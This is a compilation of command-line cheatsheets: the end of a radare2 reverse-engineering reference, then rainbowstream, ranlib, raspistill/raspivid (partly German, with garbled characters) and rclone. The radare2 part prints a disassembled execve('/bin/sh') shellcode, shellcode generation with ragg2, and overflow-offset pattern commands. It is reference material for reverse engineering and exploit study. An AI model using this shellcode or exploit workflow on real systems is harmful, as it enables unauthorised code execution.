/m [magicfile]: Search magic number headers with libmagic
search.align
search.from (0 = beginning)
search.to (0 = end)
search.asmstr
search.in
# Yara
:yara scan
# Zignatures
zg <language> <output file>: Generate signatures
eg: zg go go.z
Run the generated script to load signatures
eg: . go.z
z: To show signatures loaded:
+-------------------------------------------------------------------
r2-(pid2)> pd 35 @ 0x08049adb-10
| 0x08049adb call fcn.0805b030
| fcn.0805b030(unk, unk, unk, unk) ; sign.sign.b.sym.fmt.Println
| 0x08049ae0 add esp, 0xc
| 0x08049ae3 call fcn.08095580
+-------------------------------------------------------------------
# Compare Files
r2 -m 0xf0000 /etc/fstab ; Open source file
o /etc/issue ; Open file2 at offset 0
o ; List both files
cc offset: Diff by columns between current offset address and "offset"
# Graphs
+ Basic block graphs
af: Load function metadata
ag $$ > a.dot: Dump basic block graph to file
ag $$ | xdot: Show current function basic block graph
+ Call graphs
af: Load function metadata
agc $$ > b.dot: Dump basic block graph to file
+ Convert .dot in .png
dot -Tpng -o /tmp/b.png b.dot
+ Generate graph for file
radiff2 -g main crackme.bin crackme.bin > /tmp/a
xdot /tmp/a
# Debugger
+ Start r2 in debugger mode. r2 will fork and attach
r2 -d [pid|cmd|ptrace] (if command contains spaces use quotes: r2 -d "ls /")
ptrace://pid (debug backend does not notice, only access to mapped memory)
+ Pass arguments
r2 -d rarun2 program=pwn1 arg1=$(python exploit.py)
+ Pass stdin
r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py)
+ Commands
do: Reopen program
dp: Shows debugged process, child processes and threads
dc: Continue
dcu <address or symbol>: Continue until symbol (sets bp in address, continua until bp and remove bp)
dc[sfcp]: Continue until syscall(eg: write), fork, call, program address (To exit a library)
ds: Step in
dso: Step out
dss: Skip instruction
dr register=value: Change register value
dr(=)?: Show register values
db address: Sets a breakpoint at address
db sym.main add breakpoint into sym.main
db 0x804800 add breakpoint
db -0x804800 remove breakpoint
dsi (conditional step): Eg: "dsi eax==3,ecx>0"
dbt: Shows backtrace
drr: Display in colors and words all the refs from registers or memory
dm: Shows memory map (* indicates current section)
[0xb776c110]> dm
sys 0x08048000 - 0x08062000 s r-x /usr/bin/ls
sys 0x08062000 - 0x08064000 s rw- /usr/bin/ls
sys 0xb776a000 - 0xb776b000 s r-x [vdso]
sys 0xb776b000 * 0xb778b000 s r-x /usr/lib/ld-2.17.so
sys 0xb778b000 - 0xb778d000 s rw- /usr/lib/ld-2.17.so
sys 0xbfe5d000 - 0xbfe7e000 s rw- [stack]
+ To follow child processes in forks (set-follow-fork-mode in gdb)
dcf until a fork happen then use dp to select what process you want to debug.
+ PEDA like details
drr;pd 10@-10;pxr 40@esp
+ Debug in visual mode
toggl breakpoints with F2
single-step with F7 (s)
step-over with F8 (S)
continue with F9
# WebGUI
=h: Start the server
=H: Start server and browser
# rax2 - Base Conversion
-e: Change endian
-k: random ASCII art to represent a number/hash. Similar to how SSH represents keys
-s: ASCII to hex
rax2 -S hola (from string to hex)
rax2 -s 686f6c61 (from hex to string)
-S: binary to hex (for files)
-N: pack an integer
rax2 -N 0x1234 # \x34\x12\x00\x00
# rahash2 - Entropy, hashes and checksums
-a: Specify the algorithm
-b XXX: Block size
-B: Print all blocks
-a entropy: Show file entropy or entropy per block (-B -b 512 -a entropy)
+ Rot13 with rahash2
rahash2 -E rot -S s:13 -s ‘Hello\n’
# radiff2 - File diffing
-s: Calculate text distance from two files.
-d: Delta diffing (For files with different sizes. Its not byte per byte)
-C: Code diffing (instead of data)
+-------------------------------------------------------------------
Diff original and patched on x86_32, using graphdiff algorithm
radiff2 -a x86 -b32 -C original patched
Show differences between original and patched on x86_32
radiff2 -a x86 -b32 original patched :
+-------------------------------------------------------------------
# rasm2 - Assembly/Disasembly
-L: Supported architectures
-a arch instruction: Sets architecture
rasm2 -a x86 'mov eax,30' => b81e000000
-b tam: Sets block size
-d: Disassembly
rasm2 -d b81e000000 => mov eax, 0x1e
-C: Assembly in C output
rasm2 -C 'mov eax,30' => "\xb8\x1e\x00\x00\x00"
-D: Disassemble showing hexpair and opcode
rasm2 -D b81e0000 => 0x00000000 5 b81e000000 mov eax, 0x1e
-f: Read data from file instead of ARG.
-t: Write data to file
+ Disassemble shellcode from hex stdin
+-------------------------------------------------------------------
echo -n "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" | rasm2 -a x86 -b 64 -d -
xor eax, eax
movabs rbx, 0xff978cd091969dd1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
+-------------------------------------------------------------------
# rafind2 - Search
-Z: Look for Zero terminated strings
-s str: Look for specifc string
-X: Hex dump around output
+ Search "/bin/sh" in libc
rafind2 -X -s "/bin/sh" /usr/lib/libc.so.6
# ragg2 - Shellcode generator, C/opcode compiler
P: Generate De Bruijn patterns
ragg2 -P 300 -r
-a arch: Configure architecture
-b bits: Specify architecture bits (32/64)
-i shellcode: Specify shellcode to generate
-e encoder: Specify encoder
+ ragg2-cc: Generate shellcode from c
+ Generate a x86, 32 bits exec shellcode
ragg2 -a x86 -b 32 -i exec
# rabin2 - Executable analysis: symbols, imports, strings
-I: Executable information
-C: Returns classes. Useful to list Java Classes
-l: Dynamic linked libraries
-s: Symbols
-z: Strings
# rarun2 - Launcher to run programs with different environments, args, stdin, permissions, fds
r2 -b 32 -d rarun2 program=pwn1 arg1=$(ragg2 -P 300 -r) : runs pwn1 with a De Bruijn Pattern as first argument, inside radare2's debugger, and force 32 bits
r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) : runs /bin/ls with the output of exploit.py directed to stdin
# ESIL emulation
1) aei: Initialize ESIL VM
2) aeim: Assign ESIL stack
aeim 0xffffd000 0x1000 stack
3) aeip: Program counter to current seek
4) e io.cache=true: Enable caching read/write of virtual memory (Important if self modifying code)
5) aes: Single stepping in emulation mode
+ Toggle IL representation via O in Visual Mode
# ESIL Linear emulation
Find all references to curr. address using linear esil emulation on all imports.
/re$$@@ sym.imp.*
# ESIL IL Representation
op esil
------------
mov =
mul *
div /
and &
neg !
read []
if ?{
add +
sub -
xor ^
or |
cmp ==
write =[]
+ prefix is %
+ carry from bit x -> %cx
+ borrow from bit x -> %bx
+ zero-flag -> %z
+ parity of dst -> %p
+ sign-flag -> %s
+ overflow-flag -> %o
+ BREAK - Stop parsing and emulate next instruction
+ LOOP - restart emulation of instruction
+ GOTO n - jump to n
+ TODO - stop emulation and eprintf("TDOD %s", ins)
x86 ESIL
------------------------------------------------------
mov eax, ebx ebx,eax,=
jz 0xaabbccdd zf,?{,0xaabbccdd,eip,=,}
cmp ecx,edx edx,ecx,==,%z,zf,=,%b32,cf,=,%p,pf,=,%s,sf,=
push ebp 4,esp,-=ebp,esp,=[4]
+ ESIL Doc
https://github.com/radare/radare2book/blob/master/esil.md
# r2pipe commands
+ Invoke r2pipe script via r2 cmdline
[0x00000000]> #!pipe node script.js
[0x00000000]> #!pipe python script.py
+ Good collection:
https://radare.org/get/r2pipe-nn2015.pdf
https://github.com/jpenalbae/r2-scripts
# Parsing ELF
!!! open with r2 -nn
+ Parse 9 program headers (elf_phdr) from curr. seek plus offset 0x40 with temporary block size 0x200 in less mode (~..)
[0x00000000]> pf 9? (elf_phdr)phdr @ $$+0x40!0x200~..
# pf Templates
+ Generate templates for structs/enums with td command
"td enum elf_class {ELFCLASSNONE=0, ELFCLASS32=1, ELFCLASS64=2};"
https://github.com/Maijin/r2-pf-templates/
+ Cast data @ <addr> to <type> and print it
tp <type> = <address>
# r2scapy
r2 -i r2scapy.py dump.bin
[0x00000000]> scapy DNS 0x81de3c 48
DNS(aa=1L, qr=1L, an=DNSRR(rclass=32769, ttl=120, rrname='flashair.local.', rdata='192.168.0.1', type=1), ad=0L, nscount=0, qdcount=1, ns=None, tc=0L, rd=1L, arcount=0, ar=None, opcode=0L, ra=0L, cd=0L, z=0L, rcode=0L, id=0, ancount=1, qd=DNSQR(qclass=32769, qtype=255, qname='flashair.local.'))
+ generate packets with scapy
>>> from scapy.all import *
>>> sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0)
# r2m2 -Miasm Intermediate Representation Plugin
+ Assemble and disassemble MIPS32 using rasm2
r2m2$ export R2M2_ARCH=mips32l; rasm2 -a r2m2 'addiu a0, a1, 2' |rasm2 -a r2m2 -d -
ADDIU A0, A1, 0x2
+ Disassemble random MSP430 instructions in r2
r2m2$ R2M2_ARCH=msp430 r2 -a r2m2 -qc 'woR; pd 5' -
0x00000000 07fa and.w R10, R7
0x00000002 47ad dadd.b R13, R7
0x00000004 f05e0778 add.b @R14+, 0x7807(PC)
0x00000008 f46d81ed addc.b @R13+, 0xED81(R4)
0x0000000c 3fdc bis.w @R12+, R15
+ Assemble MIPS32 using rasm2 and display the call graph using r2
r2m2$ R2M2_ARCH=mips32b rasm2 -a r2m2 'j 0x4; nop' -B > j_nop.bin
r2m2$ R2M2_ARCH=mips32b r2 -a r2m2 -qc 'pd 2' j_nop.bin
,=< 0x00000000 0c000001 JAL 0x4
`-> 0x00000004 00000000 NOP
# bin carving with r2
+ Open raw dump
r2 -n dump.bin
+ Searching for magic
[0x00000000]> / \x7fELF
Searching 4 bytes from 0x00000000 to 0x0000002d: 7f 45 4c 46
0x00001340 hit0_0
0x00001744 hit0_1
...
+ Dump 1M with at several hits
[0x00000000]> b 1M
[0x00000000]> wt @@ hit0*
+ Automate it
$ for a in dump.* ; do
sz=`rabin2 -Z $a` # get RBin.filesize
r2 -wnqc"r $sz" $a # resize file
done
http://radare.today/posts/carving-bins/
# r4ge - symbolic execution
+ https://github.com/gast04/r4ge
Usage: https://asciinema.org/a/155856
# r2wiki -Macro for using wiki in commandline
+ https://github.com/securisec/r2wiki
$wiki "query string"
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command r2 in a clear format. This allows users to quickly access the needed information for r2 without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for r2 are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
144 - 🖥️rainbowstream
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rainbowstream command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ██╗███╗ ██╗██████╗ ██████╗ ██╗ ██╗███████╗████████╗██████╗ ███████╗ █████╗ ███╗ ███╗
# ██╔══██╗██╔══██╗██║████╗ ██║██╔══██╗██╔═══██╗██║ ██║██╔════╝╚══██╔══╝██╔══██╗██╔════╝██╔══██╗████╗ ████║
# ██████╔╝███████║██║██╔██╗ ██║██████╔╝██║ ██║██║ █╗ ██║███████╗ ██║ ██████╔╝█████╗ ███████║██╔████╔██║
# ██╔══██╗██╔══██║██║██║╚██╗██║██╔══██╗██║ ██║██║███╗██║╚════██║ ██║ ██╔══██╗██╔══╝ ██╔══██║██║╚██╔╝██║
# ██║ ██║██║ ██║██║██║ ╚████║██████╔╝╚██████╔╝╚███╔███╔╝███████║ ██║ ██║ ██║███████╗██║ ██║██║ ╚═╝ ██║
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝
@commandlinefu3
@climagic
@shellfu
@UnixToolTip
# Twitter help
# Discover the world
h discover # will show help for discover commands.
trend # will show global trending topics. You can try trend US or trend JP Tokyo.
home # will show your timeline. home 7 will show 7 tweets.
me will # show your latest tweets. me 2 will show your last 2 tweets.
notification # will show your recent notification.
mentions will # show mentions timeline. mentions 7 will show 7 mention tweets.
whois @mdo # will show profile of @mdo.
view @mdo # will show @mdo's home.
s AKB48 # will search for "AKB48" and return 5 newest tweet. Search can be performed with or without hashtag.
h tweets # will show help for tweets commands.
# Tweets
t oops # will tweet "oops" immediately.
rt 12 # will retweet to tweet with [id=12].
quote 12 # will quote the tweet with [id=12]. If no extra text is added, the quote will be canceled.
allrt 12 20 # will list 20 newest retweet of the tweet with [id=12].
conversation 12 # will show the chain of replies prior to the tweet with [id=12].
rep 12 oops # will reply "oops" to the owner of the tweet with [id=12].
repall 12 oops # will reply "oops" to all people in the tweet with [id=12].
fav 12 # will favorite the tweet with [id=12].
ufav 12 # will unfavorite tweet with [id=12].
share 12 # will get the direct link of the tweet with [id=12].
del 12 # will delete tweet with [id=12].
show image 12 # will show image in tweet with [id=12] in your OS's image viewer.
open 12 # will open url in tweet with [id=12] in your OS's default browser.
pt 12 # will add tweet with [id=12] in your Pocket list.
# Direct messages
h messages # will show help for messages commands.
inbox # will show inbox messages. inbox 7 will show newest 7 messages.
thread 2 # will show full thread with [thread_id=2].
mes @dtvd88 hi # will send a "hi" messege to @dtvd88.
trash 5 # will remove message with [message_id=5].
# Friends and followers
h friends_and_followers # will show help for friends and followers commands.
ls fl # will list all followers (people who are following you).
ls fr # will list all friends (people who you are following).
fl @dtvd88 # will follow @dtvd88.
ufl @dtvd88 # will unfollow @dtvd88.
mute @dtvd88 # will mute @dtvd88.
unmute @dtvd88 # will unmute @dtvd88.
muting # will list muting users.
block @dtvd88 # will block @dtvd88.
unblock @dtvd88 # will unblock @dtvd88.
report @dtvd88 # will report @dtvd88 as a spam account.
h list # will show help for list commands.
list will # show all lists you are belong to.
list home # will show timeline of list. You will be asked for list's name.
list all_mem # will show list's all members.
list all_sub # will show list's all subscribers.
list add # will add specific person to a list owned by you. You will be asked for list's name and person's name.
list rm # will remove specific person from a list owned by you. You will be asked for lists name and persons name.
list sub # will subscribe you to a specific list.
list unsub # will unsubscribe you from a specific list.
list own # will show all list owned by you.
list new # will create a new list.
list update # will update a list owned by you.
list del # will delete a list owned by you.
h stream # will show help for stream commands.
switch public #AKB # will switch to public stream and follow "AKB" keyword.
switch mine # will switch to your personal stream.
switch mine -f # will prompt to enter the filter.
Only nicks filter # will decide nicks will be INCLUDE ONLY.
Ignore nicks filter # will decide nicks will be EXCLUDE.
switch list # will switch to a Twitter list's stream. You will be asked for list name
# Smart shell
111111 * 9 / 7 # or any math expression will be evaluate by Python interpreter.
Even cal # will show the calendar for current month.
# Config
theme # will list available theme. theme monokai will apply monokai theme immediately.
config # will list all config.
config ASCII_ART # will output current value of ASCII_ART config key.
config TREND_MAX default # will output default value of TREND_MAX config key.
config CUSTOM_CONFIG drop # will drop CUSTOM_CONFIG config key.
config IMAGE_ON_TERM = true # will set value of IMAGE_ON_TERM config key to True.
# Screening
h # will show this help again.
p # will pause the stream.
r # will unpause the stream.
c # will clear the screen.
v # will show version info.
q # will quit.
#==============================##==============================#
# CMD RAINBOWSTREAM #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command rainbowstream in a clear format. This allows users to quickly access the needed information for rainbowstream without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for rainbowstream are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
145 - 🖥️ranlib
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the ranlib command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ███╗ ██╗██╗ ██╗██████╗
# ██╔══██╗██╔══██╗████╗ ██║██║ ██║██╔══██╗
# ██████╔╝███████║██╔██╗ ██║██║ ██║██████╔╝
# ██╔══██╗██╔══██║██║╚██╗██║██║ ██║██╔══██╗
# ██║ ██║██║ ██║██║ ╚████║███████╗██║██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝╚═╝╚═════╝
# ranlib
#
# generates an index to the contents of an archive and stores it in the archive.
# The index lists each symbol defined by a member of an archive that is a relocatable object file.
# This creates an index of the contents of fruits.a and stores the index in fruits.a
# This is useful for linking and in case the objects call each other.
ranlib fruits.a
# after
# ar r fruits.a apple.o orange.o pineapple.o
# is called
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command ranlib in a clear format. This allows users to quickly access the needed information for ranlib without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for ranlib are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
146 - 🖥️raspistill
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the raspistill command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ███████╗██████╗ ██╗███████╗████████╗██╗██╗ ██╗
# ██╔══██╗██╔══██╗██╔════╝██╔══██╗██║██╔════╝╚══██╔══╝██║██║ ██║
# ██████╔╝███████║███████╗██████╔╝██║███████╗ ██║ ██║██║ ██║
# ██╔══██╗██╔══██║╚════██║██╔═══╝ ██║╚════██║ ██║ ██║██║ ██║
# ██║ ██║██║ ██║███████║██║ ██║███████║ ██║ ██║███████╗███████╗
# ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
Raspberry Pi: Raspistill und Raspivid Parameter
Wenn man im Besitz des Kamera Moduls für den Raspberry Pi ist, möchte man mit diesem natürlich auch Fotos und Videos erzeugen. Dazu bedient man sich in dem Betriebssystem Raspbain den Kommandos raspistill und raspivid, welche zahlreiche Parameter besitzen. Im Folgenden zunächst eine Auflistung aller Parameter, die in beiden Programmen benutzt werden können und daraufhin Parameter, die nur für das Image- bzw. Videocapture Programm geeignet sind.
--previewx,y,w,h–Vorschau des Ergebnisses in grafischer Oberflà ¤che. X, Y, W und H müssen durch Position bzw. Größe des Fensters ersetzt werden
--outputPfad–Speicherort und -name für das Bild
--fullscreen–– Vorschau im Vollbildmodus
--nopreview––Verhindert Zeigen einer Vorschau
--sharpness-100 bis 1000Schärfe des Bildes
--contrast-100 bis 1000Kontrast des Bildes
--brightness-100 bis 1000Helligkeit d es Bildes
--saturation-100 bis 1000Sättigung des Bildes
--ISO–â ISO Wert des Sensors (noch nicht verfügbar)
--ev-10 bis 100Belic htungskorrektur des Bildes
--exposureauto (automatisch)
night (Nachauf nahme)
nightpreview (Nachaufnahme)
backlight (Hintergrund bevorzugen)
spotlight (Bildmittelpunkt)
sports (kurze Belichtungszeit)
snow (Schneeszenerien)
beach (Strandszenerien)
fireworks (Feuerwerk)
verylong (Extra lange Belichtung)
fixedfps (Konstante Belichtung)
antishake (bildstabilisierend)Modi für Belichtungszeit
--awbauto (automatisch)
sun (sonnig)
cloud (wolkig)
shade (schattig)
tungsten (Wolframlicht)
fluorescent (schilderndes Licht)
incandescent (Glühbirne)
flash (Blitzlicht)
horizonWeißabgl eich im Bild
--imxfxListe aller Modi in RaspiCam Dokumentation (siehe unten)Effekte (á la Instagram)
--hflip––Horizontales Drehen de s Bildes
--vflip––Vertikales Drehen des Bildes
--rotation0 bis 3590Drehung des Bildes
--verbose––Ausgabe von Debuginformation en
Im Folgenden Parameter, die nur für raspistill gelten:
PARAMETERW ERTESTANDARDWERTFUNKTION
--imxfxListe aller Modi in RaspiCam Dokumen tationEffekte (á la Instagram)
--widthmax. 25922592Breite des Bild es in Pixel
--heightmax. 19441944Höhe des Bildes in Pixel
--quality 1 bis 100?Qualität des Bildes (für JPEG-Komprimierung)
--raw–â Fügt der Bilddatei die RAW Bayer Data hinzu
--timeoutmin. 100500 Zeit bis Bild ausgelöst wird in Millisekunden
--timelapsemind. 1– Intervall in Millisekunden indem Foto ausgelöst werden soll. %d muss als Variable im Dateinamen definiert sein.
--thumbx:y:q64:48:35Erstel lt Thumbnail des Bildes. X und Y definier Breite bzw. Höhe des Bildes und Q die JPEG-Komprimierung
--encodingjpg, bmp, gif, pngjpgDateiforma t der Ausgabe
--exifkey=value–Fügt dem Bild eine EXIF-Information hinzu
######
###############################
# With the camera module connected and enabled, enter the following command in the Terminal to take a picture:
raspistill -o cam.jpg
# With the camera placed upside-down, the image must be rotated 180° to be displayed correctly. The way to correct for this is to apply both a vertical and a horizontal flip by passing in the -vf and -hf flags:
raspistill -vf -hf -o cam2.jpg
# For a full list of possible options, run raspistill with no arguments. To scroll, redirect stderr to stdout and pipe the output to less:
raspistill 2>&1 | less
#!/bin/bash
# You can create a Bash script which takes a picture with the camera. To create a script, open up your editor of choice and write the following example code:
DATE=$(date +"%Y-%m-%d_%H%M")
raspistill -vf -hf -o /home/pi/camera/$DATE.jpg
####################
#==============================##==============================#
# CMD RASPISTILL #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command raspistill in a clear format. This allows users to quickly access the needed information for raspistill without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for raspistill are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
147 - 🖥️raspivid
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the raspivid command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ █████╗ ███████╗██████╗ ██╗██╗ ██╗██╗██████╗
# ██╔══██╗██╔══██╗██╔════╝██╔══██╗██║██║ ██║██║██╔══██╗
# ██████╔╝███████║███████╗██████╔╝██║██║ ██║██║██║ ██║
# ██╔══██╗██╔══██║╚════██║██╔═══╝ ██║╚██╗ ██╔╝██║██║ ██║
# ██║ ██║██║ ██║███████║██║ ██║ ╚████╔╝ ██║██████╔╝
# ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚═╝╚═════╝
Im Folgenden Parameter, die nur für raspivid gelten:
PARAMETERWERTESTANDARDWERTFUNKTION
--vstab––E inschalten des Bildstabilisators
--width64 bis 19201920Breite des Vi deos in Pixel
--height64 bis 10801080Höhe des Videos in Pixel
--bit ratemind. 10 Mbits/s empfohlen; 15 MBit/s bei 1080p?Bitrate des Vide os in Bit
-t1 bis ∞10000Aufnahmedauer in Millisekunden
--framerate 2 bis 30–Bilder pro Sekunde (FPS)
--penc––Zeige Vorschau er st nach Enkodierung
#==============================##==============================#
# CMD RASPIVID #
#==============================##==============================#
Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command raspivid in a clear format. This allows users to quickly access the needed information for raspivid without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for raspivid are a valuable resource to work efficiently and purposefully.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
█║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌
██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗███████╗██████╗
████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
╚██╔═██╔╝██║ ██║██║ ██║ ╚███╔╝ █████╗ ██║ ██║
████████╗██║ ██║██║ ██║ ██╔██╗ ██╔══╝ ██║ ██║
╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═════╝
█║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░
148 - 🖥️rclone
➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the rclone command with important options and switches using examples.
▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁
# ██████╗ ██████╗██╗ ██████╗ ███╗ ██╗███████╗
# ██╔══██╗██╔════╝██║ ██╔═══██╗████╗ ██║██╔════╝
# ██████╔╝██║ ██║ ██║ ██║██╔██╗ ██║█████╗
# ██╔══██╗██║ ██║ ██║ ██║██║╚██╗██║██╔══╝
# ██║ ██║╚██████╗███████╗╚██████╔╝██║ ╚████║███████╗
# ╚═╝ ╚═╝ ╚═════╝╚══════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝
# rclone is a command line tool, similar to rsync, with the difference that
# it can sync, move, copy, and in general do other file operations on cloud services
# Config rclone
rclone config
# Lists a re
rclone ls remote:path
# Copy /local/path to the remote
rclone copy /local/path remote:path
# Sync /local/path to the remote
rclone sync /local/path remote:path
# Server side Copy
rclone copy s3:oldbucket s3:newbucket
